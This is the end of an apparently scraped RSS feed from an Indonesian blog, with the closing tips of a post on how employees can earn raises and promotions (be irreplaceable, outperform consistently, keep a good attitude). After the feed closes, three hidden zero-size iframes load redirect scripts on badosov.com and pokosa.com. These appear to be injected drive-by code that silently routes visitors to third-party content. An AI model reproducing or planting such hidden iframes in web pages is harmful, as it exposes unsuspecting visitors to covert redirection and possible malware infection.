</ol>
<p style="margin-bottom: 0in">Pertanyaan penting yang harus Anda renungi setiap saat adalah “Apakah pekerjaan yang saya lakukan saat ini bisa digantikan orang lain ?”</p>
<p style="margin-bottom: 0in">Jika jawabannya “YA”, maka pekerjaan yang Anda lakukan selama ini memiliki standart “BIASA”. Dan Anda sewaktu-waktu bisa dipecat oleh bos Anda. Karena Anda tidak memiliki nilai tambah dibandingkan dengan yang lain.</p>
<p style="margin-bottom: 0in">Jika pekerjaan yang Anda lakukan saat ini TIDAK dapat digantikan oleh orang lain, berarti Anda mempunyai nilai tambah. Kalau Anda mempunyai nilai tambah, pimpinan Anda akan saying sekali dengan Anda. Pimpinan Anda akan kesulitan mencari pengganti Anda. Dan pasti gaji Anda akan naik dan dipromosikan</p>
<p style="margin-bottom: 0in">Lakukan pekerjaan Anda saat ini dengan lebih baik lagi yang tidak semua orang, selain Anda, bisa melakukannya</p>
<p style="margin-bottom: 0in">
<ol start="6">
<li>
<p style="margin-bottom: 0in"><strong>Berprestasi dan dilakukan 	berulang-ulang</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Berprestasi dalam pekerjaan maksudnya adalah Anda melakukan pekerjaan Anda melebihi dari apa yang menjadi tuntutan perusahaan. Anda melakukan pekerjaan lebih dari yang menjadi standart perusahaan. Dan Anda melakukannya terus menerus. Sehingga Anda dilingkungan kerja dikenal sebagai karyawan yang sangat baik.</p>
<p style="margin-bottom: 0in">Misalnya, Anda saat ini adalah manager keuangan yang dituntut oleh pimpinan Anda untuk melaporkan keuangan di akhir bulan. Sebagai karyawan yang berprestasi, Anda tidak hanya melaporkan keuangan bulanan. Berikan juga laporan-laporan lain yang memudahkan pimpinan untuk membangun strategi bisnis Walaupun hal tersebut tidak diminta oleh pimpinan. Dan lakukan hal itu terus menerus.</p>
<p style="margin-bottom: 0in">
<ol start="7">
<li>
<p style="margin-bottom: 0in"><strong>Memiliki sikap yang baik</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Sikap-sikap dan akhlaq yang baik harus dimiliki seorang karyawan sukses. Ingat selalu, skill yang tinggi tidak ada harganya di hadapan pimpinan perusahaan, jika tidak dibarengi dengan sikap (attitude) yang baik. Jagalah semangat Anda, jangan menyalahkan orang lain, jangan lari dari tanggung jawab, jangan cari-cari alasan atas kesalahan yang Anda lakukan dan bersikaplah profesional</p>
<p style="margin-bottom: 0in">Itulah beberapa tips bagaimana seorang karyawan bisa cepat naik gaji dan cepat pula dipromosikan untu jabatan yang lebih tinggi</p>
<p style="margin-bottom: 0in">---------------------</p>
<p style="margin-bottom: 0in"><strong><a href="http://www.daftarlowongankerja.com" target="_blank">Pengen cari lowongan kerja ada disini </a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://alarief.com/7-cara-agar-karyawan-cepat-naik-gaji-dan-cepat-dipromosikan.htm/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
